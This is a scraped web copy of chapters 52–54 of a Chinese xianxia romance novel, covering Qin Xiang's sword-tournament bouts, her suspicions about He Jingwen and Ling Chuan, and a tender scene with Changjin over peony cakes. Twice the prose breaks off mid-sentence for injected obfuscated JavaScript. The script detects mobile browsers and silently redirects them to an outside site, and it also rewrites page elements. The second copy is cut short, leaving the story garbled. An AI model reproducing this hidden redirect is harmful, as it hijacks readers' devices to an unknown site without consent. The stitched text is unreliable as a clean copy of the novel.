秦湘与周楚闵这会儿已经抽完了签,周楚闵在北方第二赛场,秦湘在南方第一赛场,隔得算是天差地远。两人埋怨了一会儿这破烂的手气,便跟着秦叙长锦准备去清虚门为各个门派准备的别院中落脚休整一会儿。 可他们着实是低估了这迎来送往的面子功夫交道,几人才刚走出抽签地的庭院,迎面便被络绎不绝的来客堵住了去路。 “哎,这不是秦掌门嘛,好久不见好久不见,近来可好,哎呀,这想必就是阿湘了,都长这么大了呀,听说上回群英论剑大会阿湘小小年纪就得了第三,看来这次魁首必定不在话下啊……” 秦湘尴尬地扯起嘴角笑了笑,秦叙也打着哈哈回道:“没有没有,李仙君说笑了,群英大会各门各派青年才俊云集,尽力就好,尽力就好……” “哈哈,是吗?那这边这位便是腾岳之巅的席清长老了?上回花溪镇一战中,未曾瞧见长老力战妖魔的英姿,今日得见长老真容,真是三生有幸啊,哈哈哈哈……” 长锦:“……” 送走了李仙君,又莫名其妙冒出了各种什么赵仙君,陈仙君,孙仙君的,一段一盏茶功夫的路程,愣是整出了半个时辰了都没有走到头。尤其是知道了秦叙身边的便是花溪镇一战成名的长锦之后,迎上前来巴结的人就再没断过。 “哎,麻烦让一让,谢谢。”秦湘看着面前俨然成了香饽饽被众人围涌起来的长锦,不禁有些无语,长锦不是个在陌生人面前多话的人,尤其是这一下,秦叙就成了四人之中唯一的主心骨,将几人护在身后,以一人之力舌战群儒。 再忍了一盏茶功夫后,她真的再也忍不下去了。秦湘揉了揉笑得僵硬的嘴角,长锦是逃不掉了,不过有秦叙在他面前为他保驾护航,问题也不算大,于是她一思忖,趁着人群不备,与几人打了个招呼后便弯着腰逃离了这巴结客套你来我往的恐怖修罗场。 唯恐再遇上这种拉关系套近乎的情况,秦湘并没有往人多的地方走,思来想去,与几个引路弟子一打听,得知了苍龙山北苑种了一片牡丹花园,若是无聊,可以前往看看。一听这话,秦湘心下欣喜,道过谢,便抬脚朝着北苑走去。 洛阳多牡丹,花期一般在四五月。此时虽已过了牡丹的花期,但因仙术维系,苍龙山北苑之中的牡丹终年不败。看着面前一片红白紫粉,交相辉映,花瓣层层叠叠,如锦绣般绚丽,方才人潮之中拥挤的不适感也在这一片国色天香当中慢慢消失。 秦湘站在花园门口,呼了一口气,此时此刻,她才深切地觉得自己像是活过来了。花园里四下寂静,她笑盈盈地嗯了一声,心情舒畅,于是便心满意足地顺着园内小径慢慢走了进去。 秦湘东走西逛地转了好半个时辰,又在园中的凉亭中坐着休息了半个时辰,思忖着时间应该也差不多了,这才抬脚悠悠地准备往回走去与几人会合。 谁料刚走出凉亭,迎面却遇上了两个人。秦湘一愣,她没想到自己过来躲个清闲竟也能遇上旁人,在她面前走着的是一男一女,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995419|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子紫衣翩然,裙摆上落着用金丝线绣成的流云锦纹,发鬓之中两支蝴蝶珠钗尽显清雅,在她身旁,站着个高大俊逸的黑衣男子,男子跟在她身边,低眉垂眼,一副毕恭毕敬的模样。 林秋月和她那个叫凌川的随从?秦湘愣愣地想道。 那边林秋月和凌川显然也没有料到会在这遇见秦湘,也怔了片刻。凌川看了秦湘一眼,又往前走了一步,声音冰冷地没有一丝温度:“门主?” 秦湘见他这副模样,额角青筋跳了两跳,不会就这么倒霉吧?她什么也没听到,可瞧这人的这副架势,分明是一副只要林秋月一点头他就能将她杀人灭口就地埋了的样子。 林秋月皱着眉头盯着秦湘看了一会儿,旋即笑开了,“无碍。”她一边说着,一边也朝着秦湘走了一步,轻声道,“如果我没记错的话,阁下是腾岳之巅秦掌门的千金秦湘姑娘吧?” “是,林门主好记性。”秦湘也朝她点了点头,算是打了个招呼。 “前厅热闹非凡,秦姑娘不和秦掌门一道,怎么独自在这偏僻之地?” “我不大喜欢热闹,所以过来躲个清静,”秦湘笑了笑,“只是没想到会在这儿遇见林门主,北苑风光秀丽,已是秋日却仍然春色满园,想必不会让林门主失望,我出来已久,若是再不回去爹爹该担心了,所以,就不打扰林门主雅兴,先告辞了。” 林秋月也笑,一双眸子看着秦湘,其中的情绪也瞧不出有几分真几分假来。与凌川后退了几步,将路让给秦湘,“好,如此那我们也不多留秦姑娘了,再会。” 告别了两人后,秦湘头也不回地离开了,尽管知道方才那两人之间肯定是有些什么猫腻,但也关不到她头上来,想着林秋月眼角含笑的模样,她抖落了一身的鸡皮疙瘩,真真一只笑面虎。 未时正刻到,群英大会正式开始。 秦湘在南赛场,周楚闵在北赛场,秦叙与长锦也被分配在了北赛场落座观看,故而秦湘便只能一个人来自己的比赛场地。不管面上怎样,心中多少还是有些小失落呢。秦湘叹了口气,整理了一下自己的情绪,这才抬脚走进了南赛场。 赛场中央矗立着一座宽阔平坦的青石台,台上笼罩着一层蓝色法力的防护结界,届时参赛弟子们便在结界内进行比试斗法。以青石台为核心,朝东西南北四个方位延伸出去数百张长椅,层层叠叠,围绕着中间的结界形成了一个环形,此时仙门百家长老弟子都已尽数入了席。 秦湘这一场对上的并不是六大门派中的弟子,只是一名其他叫不上名号的小门小派男弟子,尽管男女之间可能是有些力量悬殊在,但他的修为剑术属实不算上乘,甚至连中乘都算不上,秦湘连烈云都没有召唤出来,仅凭一柄普通银剑便轻而易举地打败了他,进入了下一轮复赛。 下了场后,秦湘落座了观赛席,看了一阵,可能是她今天手气确实有点问题,南赛场上的赛事算不上精彩。做个不恰当的比喻,把参赛的弟子分为上等中等下等,那感觉她这一赛场里面的比试都算是下等弟子的云集切磋,资质平平,毫无亮点水花。 又复看了两场,秦湘打了个哈欠,心道着实是没意思的紧。反正她已进入复赛,再上场那也是明天上午的事了,思及此,就准备起身前往北赛场找周楚闵。 正在此时,身旁却突然传来一道激动的声音:“快看快看,那是不是云雾宗的少主?” “啊,对对对,是他是他,看了一堆小门小派无聊的比试,终于又上了个六大门派的人了。” “和他比试的那个人是谁啊?看着有点陌生,好像从没见过。” “好像是飞羽门的,跟在林秋月身边那个,叫什么来着……一下记不起来了。” “凌川。好像是叫这个名字,听说之前是林听晚的弟子,后来在林听晚死后,就一直跟在林秋月身边了。” “林听晚的徒弟?那实力应该也很不错,飞羽门在六大门派之中又排行第四,与同为六大门派之一的云雾宗少主一战,这场比试,精彩了。” 秦湘听着身旁的议论,也抬眼看向那边,青石台上,一袭金色劲装的贺景文和一袭黑色劲装的凌川相对而立。想着昨天晚上在仙月楼中的场景,秦湘停下了欲走的脚步,又重新坐了下来,贺景文对战凌川?有点意思。 比试开始的哨声响起,贺景文与凌川朝着对方抱拳行了一礼后,便很快地斗在了一处。秦湘坐在观赛席中,目不转睛地观看着。 相较之前没什么观看系数的比试来说,这两人到底还是六大门派出来的,一招一式之间都是狠戾攻伐,尽是看点,现场原先冷淡的气氛也一下就被点燃起来了。 52.万雷剑法 青石台上,贺景文和凌川短短时间之内便走了十四五招,身旁开始叫好起来。其他人也许看不明白,但秦湘从小学剑,师父是明萧长老,对手搭档也是周楚闵乔玉洲这样数一数二的剑法高手。 故而坐在这席间,看着贺景文与凌川的交手,虽然剑法路数看上去大不相同,可细细观看,某些招式之间确实有着一些莫名的相似,就像是他们使的这两套剑法一开始原本就是一套剑法一样。 凌川是飞羽门的人,学的自然是飞羽门太掌门流传下来的万雷剑法。至于云雾宗,早些年听说其门派擅长的是暗器的锻造与使用,其门下弟子擅长的也是远攻,而如今贺景文展现在众人面前的这种攻伐狠戾的剑风,恰恰是万雷剑法的要领特点。 为什么身为云雾宗少主,却会飞羽门的剑术? 秦湘眯着眼睛,怔怔地盯着面前斗在一处的两人,脑海中也开始在不断梳理着飞羽门和云雾宗的关系。两年之内,林秋月铲除了飞羽门内所有的异己,将整个飞羽门控制在其手中,可那时就算她再怎么聪明厉害,在两年之前也只有十六岁,飞羽门内其他高层长老就算再怎么废物,也不至于就会被一个十六岁的姑娘杀戮殆尽,可事实却是她做到了,可是单凭她一个人又怎么能做到? 所以做个很现实的假设,那就是这个时候贺景文出现了。 林逸兴和月影这段感情本就是一段错误的孽缘,因为这两人的死,林秋月的出生本也就是个错误,如若不是林听晚护着,在内斗不断的飞羽门中,她决计是活不到如今的,所以在知道了这一点之后,比起林秋月害死了林听晚的这种说法,秦湘就更倾向于林听晚是死于内斗的这种假设,而林听晚死后,林秋月为了自保,在这飞羽门中活下去,就找上了贺景文。 两人达成协议,他用云雾宗的势力帮她在飞羽门中站稳脚跟,而相对的,林秋月就要将飞羽门的万雷剑法教给他,以弥补云雾宗只擅长暗器远攻的缺陷。 想到这儿,秦湘像是福至心灵般,如此一来,好像一切都说得通了。所以林秋月才会在短短两年之内坐稳飞羽门门主之位,所以她和贺景文之间的关系才会看起来那么的相熟,所以贺景文才会掌握住万雷剑法的精髓从而拓展出一套以万雷剑法为基础的新的剑术…… “这云雾宗少主的剑法好厉害啊!”一声惊呼打断了秦湘的思绪。 她眼神聚焦,朝着台上望去。台上,两道身影混成一团,在学艺不精者看来,贺景文剑势凶狠凌厉,一招一式都在压制着凌川的攻势,凌川看似像是被他压制一头无法反击,只守不攻。 可秦湘却明白,不管贺景文攻势再如何猛,在两人通用同一套剑法的情况之下,半路进门的贺景文到底还是不如凌川,是凌川一直在让着他。 秦湘刚这么想完,仿佛跟印证她的话一般,台上的凌川微微一个侧头,堪堪躲过了贺景文那直劈他门面的剑刃,然后趁他还未来得及收回剑刃之时,猛然攻上,两柄剑刃相接,擦出劈里啪啦的火花。 凌川开始认真了,他的剑法又快又急,剑光四射,隐隐带着万钧雷霆之势,霸道无匹。时间流逝,又是十几招走了下来,贺景文擅长暗器不擅长近身作战,在凌川这迅猛的攻势下,已经渐显疲态。 就在秦湘以为这一场比试即将以凌川胜出来收尾之时,凌川却犯了一个如果现在是在实战场上那就是致命的错误。明明可以选择一击即中的打法,可凌川的长剑却偏偏弹开了贺景文的,在这两秒的空当之中,他的心脏胸口就暴露在了贺景文面前。 只见贺景文一个折腰,惊险地躲过了凌川横劈过来的剑刃,然后趁着凌川收剑的那瞬间,集中内力于掌心,一掌拍于他胸前。劲风袭过,凌川受了他这一掌,一时倒退了好几步,等他稳住身形再抬起头来之时,贺景文的剑尖已经抵住了他的喉管。 这场比试,贺景文胜了。 台下静了一瞬,旋即爆发出一阵欢呼。这场比试着实让人看得过瘾,贺景文收回剑,朝着凌川笑着抱拳规规矩矩行了一礼,朗声道:“承让。” 凌川依旧是那副冰冷沉默的神情,好像只有在林秋月面前,他才会有些其它表情。他淡淡地看着面前朝他作礼的贺景文,半晌,才抱拳回了一礼,然后一言不发地提着剑下了场。 秦湘皱了皱眉头,目光追随着凌川的身影而去,看着他走到了台下林秋月身边,两人交谈了几句,便在她身边坐下了,心平气和地观看台上接下来的比试。秦湘看了看两人,又看了看另一边刚下了场的贺景文,她眨了眨眼,心中纳闷…… 方才,那一个失误,真的不是凌川故意的吗? 在观赛席中又坐了大半个时辰,秦湘视线一直在林秋月贺景文凌川三人身上,可看来看去看到眼睛都酸了,也并没有发现三人有丝毫不妥之处。难道真的是她想多了,方才台上那个错误也许真是凌川不小心才犯的,是她太敏感想太多了吧。 怀着满腔疑惑,秦湘回了清虚门弟子为他们安排的别院,那别院刚好有四个房间,在大会未结束期间,他们就住在这里。推开别院的门扉,还没走进去,就先听见了周楚闵逗鸟的声音。 秦湘一顿,往前走了几步,看见院中一个青石亭里,周楚闵正拿着一把瓜子弯腰逗弄着一只尾羽短圆体色艳丽的鹦鹉。 那鹦鹉生得浑圆小巧,在架子上扑腾着翅膀晃来晃去,周楚闵笑着将一粒瓜子仁递送到它的嘴边,它摇头晃脑地看了周楚闵半晌,却就是不吃。 “嘿,你这小家伙,还怕我给你下毒啊。”周楚闵笑了笑,又伸出手指点了点它的脑袋。 秦湘看了一会儿,也哭笑不得,走上前去,唤了一声:“师兄。” 周楚闵闻声回过头来,看到身旁站着的秦湘,将手中那把瓜子放在了凉亭内的石桌上,拍了拍手上的瓜子屑,才道:“阿湘,回来了?” “嗯,怎么就只有师兄你一个人啊?神君和爹爹呢?还没回来吗?” “席清长老和掌门在章龙殿与仙门百家其他掌门长老商讨那厄运之门幕后之人的事情呢。” “魔气入体邪祟杀人那件事?”秦湘问。 之前在她和长锦去玉溪城的那次委派任务中,两人发现了幕后之人用魔气控制妖邪吸收恶念的手段,虽然后来秦叙也曾给各个门派发过帖子,对这个情况做出了说明,但魔气毕竟不是他们能够对付的东西,故而大家也只能提防并不能幸免。 可现在不同,长锦这几个月刻苦钻研,创造出了魔煞罗盘和驱魔符咒,经过试验,这两件法器能有效对抗附体在邪祟身上的魔气,将这两件法器的创制使用方法交由仙门百家,这也是长锦这一趟苍龙山之旅的主要目的。 周楚闵在石桌旁坐下,点了点头,“是啊,所以估计还要一会儿功夫才回得来。” “好吧。”秦湘也跟着在石桌旁坐下,伸手为自己斟了一杯茶,复而又抬头看向一旁坐着的周楚闵,问道,“师兄你要吗?” 周楚闵点了点头,秦湘便又伸手再斟了一杯递给他,她把手中的瓷壶放下,两人坐在这凉亭石桌前,吹着微风喝着茶。 秦湘喝了半口茶水,才问道:“师兄,说起来,你今日比试如何?应该很顺利吧?” “嗯,遇见的是清虚门的弟子,虽然费了些功夫,但还是顺遂的,”周楚闵笑了笑,又看向了她问道,“那你呢?南赛场的比试怎么样?” “我还好,感觉分配到南赛场的都是些小门派的弟子,我都没有看见几个六大门派的人,比试很无聊,没什么看点,”秦湘把玩着手中的瓷杯,接着道,“本来我比完之后是想过来北赛场看师兄你的比试的,但是后来你猜我看见了谁和谁的比试?” 周楚闵看着秦湘卖着关子,也很给面子地挑了挑眉,故作惊讶道:“哦?谁和谁?” “你绝对想不到,是贺景文和凌川。” “贺景文?凌川?”周楚闵想了想,“云雾宗的那个贺景文和飞羽门的凌川?” “是啊,就是他俩,而且师兄你再猜一猜,他俩比试,是谁胜了?” 毕竟师出同门,想法推算都大差不差地如出一辙。周楚闵只顿了一瞬,便毫不犹豫地回答了秦湘:“应该是凌川胜。云雾宗的人擅长的是远攻,这么多年以来,也没听说过在群英论剑大会上他们中有什么特别突出的弟子胜出,而且就算那贺景文剑法不错,不是长久习剑的人,如何能有那等持久的耐力与飞羽门那攻伐迅猛霸道无匹的万雷剑法胶着?” “师兄你想的不错,和我想的丝毫不差,”秦湘赞同地点了点头,旋即,话锋一转,“不过,你绝对想不到的是,这场比试是贺景文胜了。” “什么?!”周楚闵简直惊得茶水都要喷出来了,他放下杯子,满脸都写着不相信,“阿湘你说笑呢吧?这绝无可能,那贺景文前两年我见过他的比试,对战的是清虚门中的一名弟子,虽然他比起云雾宗的其他人来说剑术是不错,但若是要对上正经剑修来说,那绝对只有输的份。” 秦湘笑了笑:“嗯,师兄你说的不错。” 听着秦湘的赞同,周楚闵就更意外了,又接着分析道:“而且他又不像乔玉洲,虽然是药宗的人,但他在剑术上是有天赋的,又从小与我们来往密切,在修习上与剑修弟子们并无二异。所以我是真的想不通,贺景文怎么会胜过一直修习万雷剑法的凌 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“谁的实力如何?”秦叙与长锦不知何时回来了,刚好听见秦湘的最后两句话。 “爹爹?神君?”秦湘闻声转头,看见秦叙与长锦正站在庭院之中,便起身道,“你们回来了?” 两人笑着走上前去,也在石桌前落了座。秦湘忙为两人又斟了两杯茶,这才又坐下,秦叙接了茶杯,喝了两口,笑道:“你们方才在聊什么呢?你想和谁比试一场啊?” “贺景文啊,”秦湘知秦叙不想让她卷入飞羽门与云雾宗的那些事情当中,故而也没将今日赛场上那些猜想与他说起,转而道,“今日在南赛场看见贺景文与凌川比试了一场,特别精彩,那贺景文实力非常不错,竟然赢了凌川,所以我想和他打一场,只是参赛的弟子众多,不知道我有没有这个手气能抽到他。” 秦叙听她这么一说,果然也没有多想。看着秦湘脸上遗憾失落的表情,他不仅没有安慰她反而还笑了笑,伸手在袖袋之中摸了摸,掏出两张书笺来,一张递给周楚闵,一张递给秦湘,“你有没有那个手气爹爹不知道,但是你爹爹的手气貌似还是不错的。” 秦湘一脸懵然,接过秦叙递过来的书笺,翻开一看,映入眼帘的便是贺景文那三个醒目的大字。她简直不可置信,双眼蓦地睁大,看了看书笺,又看了看秦叙,反反复复好几回,才试探性地说道:“爹爹,怎么会这么赶巧?你不会贿赂那个抽签的弟子了吧?” 围坐在石桌旁的三人听到这句话,纷纷笑了起来。长锦看向她,温声笑道:“方才从章龙殿回来,刚好路过抽签的地方,掌门不想让你们再走一趟,就顺手去拿了个签。” “是啊,”秦叙也笑,“你爹哪有那种本事,还能贿赂抽签弟子,只是没想到就这么赶巧,抽到的这只签啊就刚好是你想要的那只签。” 秦湘狡黠一笑:“嘿嘿,爹爹,你这手气太棒了,我简直太开心了。” 秦叙摸了摸她的头,“好了好了,明天好好比,不要骄纵,听南赛场观赛的长老们说这个贺景文今日的表现很是厉害,我们不能过来观赛,你自己要多加注意,不要轻敌。” “嗯~好~我知道啦,爹爹你们就放心吧,我自有分寸。” 第二日,大会继续举行。经过初一轮大比,已经刷下了一半资质剑法平平的弟子,今日的比赛毋庸置疑要比昨日的精彩,所以南赛场中座无虚席,观看的人比起昨日来多了不止一星半点。 青石台上,秦湘已经上场,她今日要交手的人,正是贺景文。 看着对面召唤出仙剑的贺景文,秦湘自然也不会轻敌,抬手朗声道:“烈云。” 烈云剑应召而出,台下有人见之,惊讶道:“那是烈云仙剑吧?” “是啊,我在书卷中见过,那剑来自于烈焰火域,经过烈焰灵火千锤百炼而成,其剑身温度炽热无比,是一柄不可多得的上品仙器。” “听说要得到这剑得通过烈焰火域的试炼,那烈焰火域的火啊,不是常人所能承受的。” “可不是嘛,不知这位小仙君是谁家弟子啊,年纪轻轻,竟然能收服烈云仙剑。” “哎哟,李仙长第一回来吧,这是六大门派中腾岳之巅秦掌门的千金秦湘啊,三年前她第一回参加群英论剑大会的时候,可才十四岁,凭着这柄烈云剑,直接杀入了前三,那实力,绝对不是虚的。” “什么?!三年前她就进了前三?!听说昨天那场云雾宗的少主贺景文表现也是十分不错的,看来这场同为六大门派之一的两人过招比试,可就有好戏看了。” 53.牡丹花糕 贺景文耳力向来不错,他听着台下众人的议论纷纷,也将视线放在了秦湘手中散发着幽幽银光的长剑上来,打量了半晌,笑道:“你的剑不错。” 秦湘也笑了一笑,抱剑与他见了一礼,“多谢夸奖,在下腾岳之巅秦湘,请阁下赐教。” 贺景文一愣,亦拱手弯腰还了她一礼。哨声响起,比试开始,贺景文先发制人,身形一动便持剑朝着秦湘猛冲了上来,一柄长剑被他舞地虎虎生威。剑气凌盛,迅猛无比,是属于万雷剑法的精髓攻法。秦湘没料到他这一手,也被这架势唬了一跳,侧身偏头避开,反手横剑于身前挑开对方直劈过来的剑刃,又趁势攻上,朝着贺景文逼近。 秦湘压制着贺景文的剑,两人僵持了片刻,她目光盯着贺景文的脸,倏而笑道:“贺少主真是好剑术,着实让我惊艳了一把,差点没招架住。” “哼,”贺景文亦是死盯着她,冷哼道,“秦姑娘也不赖。”说罢,重重一挥,将秦湘的剑弹开。 在这之后,两人也不再假模假样地恭维来恭维去了。秦湘本意就是来试探贺景文的剑法到底有几分和凌川使的万雷剑法相似的,昨日早已观摩过他,他的剑看似迅猛凶悍,但他本人因为习剑少的缘故,无论是力气还是耐力都支持不了他长时间进行这样密集凶猛的攻法。 而且方才与他交手那几招,秦湘笃信,贺景文的功夫身手在她之下,如果不能速战速决结束这场比试,拖得越久,贺景文赢的胜算就越小。思及此,秦湘便盘算着,先守再攻,再观看观看这贺景文的剑法再说。 而那边贺景文看着秦湘,眉头紧锁,脸色也有些难看。甫一交手,他自然也知道了自己对上的人功夫在他之上,如果不能以快突破,速战速决,那拖得越久,就越对他不利。 必须尽快打开这个局面!贺景文心中暗暗想着,看着面前带着微笑看着他的秦湘,手提着长剑又迎了上去。他心中着急,步法也快,秦湘看着他凝重的神情,心中一笑,脚尖一点地面,横剑迎上。两柄长剑在空中发出阵阵低鸣,火花不断,瞬息之间,又你来我往地走过了十几招来。 贺景文呼吸急促,剑势凶猛迅疾,剑影交错,连绵不绝,试图从中找到秦湘的破绽从而撕开这个僵持不下的局面。然而对面的秦湘却丝毫不慌,身姿灵活,如同猫儿逗鼠般,一次次轻巧地将贺景文的攻势避开。之后,也不急着反击,只是引着他再一次次地发出他那凶猛的攻击,反反复复地在这宽阔的青石台上躲来躲去。 台下众人看得膛目结舌,更多地是着急,“哎呀,又差一点,差一点点就打到她了。” “那秦湘是怎么回事?为什么不攻啊,只躲,她是打不过贺景文吗?所以就打算耗着他。” “是啊,真是整人心态,昨天那场对战那飞羽门的凌川也是这样,整出一堆幺蛾子,先守后攻,虽然爆发力确实是不错的,可结果到最后,不还是输了,老没意思了。” 秦湘此时也正引着贺景文斗到了青石台边缘,这些议论便轻而易举地传入了她的耳中,她看着贺景文额角豆大的汗珠,想着也差不多了。 正巧对方的剑朝着她的门面猛然袭来,秦湘朝他笑了笑:“好了,阁下的剑招我已领教完毕,现在,就请阁下来领教领教我的吧。” 说罢,她挥剑弹开贺景文的剑锋,然后一个翻身稳稳地落在了他的身后。 秦湘忽然撤离,贺景文简直猝不及防,慌忙之间身体失去平衡,他心中一震,急忙一个折腰用剑尖点地,这才避免了掉下青石台的情况发生。 然而还未等他再松一口气,秦湘足尖一点,手中的剑已经攻上来了。 贺景文避之不及,急急抬剑去挡。秦湘看似瘦小,可力气确是不小,这一剑砍在了他的剑上,两剑相接,贺景文只觉得这一瞬间,他的整只手臂都是发麻的。这样下去情况可不妙啊,他死死地盯着面前的秦湘,忽而嘴角一勾,轻声道:“得罪了。” “嗯?什么?”秦湘被他这莫名其妙的一句整得有些发懵,就在这一个恍惚间,一道银光从她眼前闪过。只见一根细微到几乎看不见的银针从贺景文的手中弹出,直直朝她飞来,秦湘心中大惊,连忙转身后撤,拉开了与贺景文的距离。 “雾影针?”秦湘在书卷上曾经见到过,这是云雾宗的独门暗器,此针在空气中就如同雾气一般无影无形,如果不是此刻她距离贺景文太近,否则是难以被肉眼捕捉到的。 她是真的没有料到,身为堂堂云雾宗的少主,竟然要靠这等下作手法来舞弊,于是再看向贺景文的表情,就颇为复杂了,冷笑道,“阁下这招还是真阴毒啊。” “对不住,我想赢,所以只能得罪了。”虽然针没有直接击中秦湘,但也为他争取了一丝喘息的空当。贺景文丝毫没有羞愧之心,趁着秦湘还在怔愣,足尖一点地,又猛地攻了上去。 如果说方才秦湘还对这贺景文有着一丝心软,想着好歹是一派少主,不能让他输得太难看。可如今经了他这么下作的一遭,心中那丝要给他留点脸面的想法荡然无存,还留脸面,留个屁,怎样让他输得最难看就怎样来。 秦湘片刻都没有犹豫,就提着剑迎了上去,她不准备和他再玩这猫儿逗鼠的游戏了。一个偏身,避过贺景文的剑锋,然后自下而上,反手就是一剑,横劈向他的面门,贺景文横档,秦湘则收剑腾挪侧挥,再次攻了上去。 这次轮到秦湘进攻了,她的剑势也是攻伐之剑,明明也打了好一阵时间了,可她却丝毫不显疲态,反而越攻越勇,剑刃带起一阵阵凌厉的剑风。没有过多的花招把戏,一招一式之间尽是凶狠灵巧,剑剑到实,贺景文招架不及,接了上一剑却接不住下一剑,脸上也渐显狼狈之色。 “贺少主?你就累了吗?再坚持一会儿,我还有几招等着你领教呢。”秦湘笑着,又再次攻上前,剑势如狂风暴雨般落下。贺景文护着左边,她便袭往右边,来来回回,精准地攻往了他的每一处弱点。 贺景文被她逼得节节败退,只觉得眼前一片几乎都是秦湘掀起的剑气,那剑气包裹着他,让他避无可避,无可抵挡。手臂此时也如坠了千斤重般,就快要到达极限,忽然,一个恍惚间,他手中的长剑劈了个空,脑中也有瞬间的空白。 只见秦湘朝他露出一个笑容来,下一秒,那烈云仙剑如同夹杂着滚滚烈火朝他扑面而来,这入眼皆是红的架势让他心中骇然。 只听“铿”的一声,他手中的剑被秦湘挑飞,一阵剑气也迎面袭来。手中无剑,贺景文便只能慌忙后退躲避,剑气掀掉了他束发的青玉冠,刹那间,发丝如瀑散下,等他再回头之时,秦湘的剑已抵至他的喉间。 贺景文双目睁大,满眼都是不可置信。 台下观赛的弟子们也倒吸一口凉气,看着秦湘面上带着那丝毫不掩饰的嚣张之色,如果说之前他们还觉得是贺景文占上风,那这会儿不需要任何人解释他们就已明白,方才的一切都是秦湘故意而为之,只要她想,她便可以如方才那般,在十招之内结束这场比试。 这就是腾岳之巅的实力吗?怪不得在花溪镇一战中首当其冲,这也太厉害了! 秦湘站在台上,台下众人惊愕的表情被她尽收眼底,其实她也不想这么张扬的,可谁叫那贺景文不知死活,竟然敢给她使阴招,既如此,何必留脸面。 阳光下,她嘴角的笑容格外地张狂与刺眼,贺景文还愣愣地站在原地,神色不定。 秦湘收回手中的剑,朝着贺景文又走了两步,抱拳笑得一脸乖张:“承让啦,我也想赢,所以没办法,便只能让少主受受委屈了。” 她说完,也不再看贺景文此时是个什么表情,负着剑面带微笑地走下台去。 六大门派中,双灵阁乔玉洲今年不参赛,飞羽门凌川和云雾宗贺景文都已战败,剩下的便是清虚门与千机阁。 千机阁主修结界之术与符箓创造,其门派更像是个巨大的藏书阁,里面收录着许许多多修仙界内失传已久的禁术与秘术,所以这论剑大会,与他们基本无缘。至于清虚门,虽然这论剑大会是由他们主持的,可自从江暮行死后,其门派内还未曾再出现过一个如他这般的剑仙,自然也无所惧。 所以在接下来的几天比试里,周楚闵在北赛场大杀四方,秦湘亦在南赛场势不可挡。在众修士眼中,腾岳之巅就如同一匹黑马一般,一路高歌,势如破竹,直冲决赛。 在这样激烈的战况下,群英论剑大会很快就进行到了最后一日。 这一日,秦湘吃完午饭,一推开别院的门走进庭院,就看见了坐在青石亭中的长锦。她微微一愣,这些天因为比试,她在南赛场,长锦跟着秦叙一道在北赛场,且人多眼杂,所以两人在一起见面相谈的机会便更加是少之又少了。 此时猛然这么一看见他,秦湘莫名生出了几分如隔三秋的感慨来。她走了过去,笑着拍了拍长锦的肩膀,然后在他身边坐下,“神君?怎么不去吃饭呀?” 长锦被她一拍,侧过脸来,一本正经地说道:“其实神不吃饭也是可以的。” “暧,是嘛?”秦湘一愣,心想,好像也是,在腾岳之巅时,除非她在场,拉着长锦去吃饭他才会跟着她一道去云隆堂,其余时候,她若是不喊他,他便可以在西苑里一直呆下去。 想到这儿,秦湘笑了一笑,托着下巴笑意盈盈地看向他,“所以神君你每次跟着我去吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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长锦看着她僵硬的样子,却倏而笑了,他问道,“吃糖吗?” 秦湘愣了一下,抬眼看向他,一双杏仁似的大眼睛眨巴眨巴,满是不解,“什么?” 长锦把手从石桌下伸出来,只见一阵金光闪过,也不知道他从哪里变出了几块四四方方的精巧小糕点,用油纸包裹着,每块上面都贴着一块小小的牌记,用小楷规规矩矩地写着牡丹糕几个字。 秦湘简直惊呆了,便又被他这一下吸引了注意力,奇道:“哇,神君你这是从哪里变出来的?” “方才在章龙殿集议,离开时看见桌上摆了两碟,”长锦想了想,接着道,“我记得你好像很爱吃这个,所以就拿了几块。” 嗯嗯嗯?秦湘看着他掌心的那几块小糕点,突然想起了刚来苍龙山那天在仙月楼中她好像是吃光了两盘牡丹糕来着,可是这种小事长锦竟然还会记得?不过此时的重点也不在她爱吃牡丹糕上面,而是堂堂厄运之门的守护神,腾岳之巅席清长老,在外人面前脸冷得跟块冬日寒冰似的他,竟然会在集完会大庭广众之下偷偷顺两块牡丹糕回来,就因为她爱吃?! 秦湘想象了一番长锦一脸严肃正经地经过一张放着两碟牡丹糕的桌子,然后眼前一晃,又倒退了回来,最后趁人不备,广袖一扫,悄悄地顺走了桌上摆着的几块牡丹糕。 “噗。”想到了这儿,秦湘一个没忍住,一头栽倒在了石桌上,将脸埋在臂弯里,简直快要笑晕过去。长锦不知道秦湘心中所想,还维持着伸手的动作,看着趴在桌上浑身颤抖的秦湘,他一头雾水地问道,“你怎么了,怎么突然笑成这样?” “没,没怎么。”秦湘举起一只手来挥了挥,好半晌,才忍住笑,压住嘴角,整理了一下自己脸上的表情,爬起身来,从长锦掌心拿过那几块牡丹糕来,“我是说,谢谢神君,你对我真好。” “没事,那你尝一尝,和你那天在仙月楼中吃的是不是一个味道?” “好,”秦湘点了点头,在长锦满怀期待的眼神中撕开那层油纸,然后咬了一口,馨香四溢,她顿了半晌,笑道,“一模一样,就是那个味道。” 闻言,长锦也松了一口气,撑着下巴看着她柔声笑道,“那你多吃点。” 秦湘心满意足地吃着,对上长锦看向她的目光,她一愣,又拆了一块递到他嘴边,眼睛弯起来明媚地笑了笑,“神君也尝一块儿?” 长锦一怔,看着送至唇边的糕点,也没多想,下意识地便张开嘴唇咬了一口。直到酥松绵软的糕点在他唇齿之间流淌回旋,长锦才猛然反应过来,他这是直接吃了秦湘喂过来的糕点。 他眼前一亮,怦然心动。 而那边秦湘的情况也着实没好到哪里去,她双目睁大,一动不动。脑袋嗡的一声激起了千层巨浪,她愣愣地看着半空中那块被咬了一口的牡丹糕,好半晌都说出不话来。 长锦看着她吓得一动不敢动的模样,轻笑了一声,然后伸手接过了她手中的牡丹糕,“我自己来吧。” 秦湘眨眨眼,缓过神来,也轻咳一声,怔怔地收回手,“好,也好,神君你自己来。” 54.神秘黑影 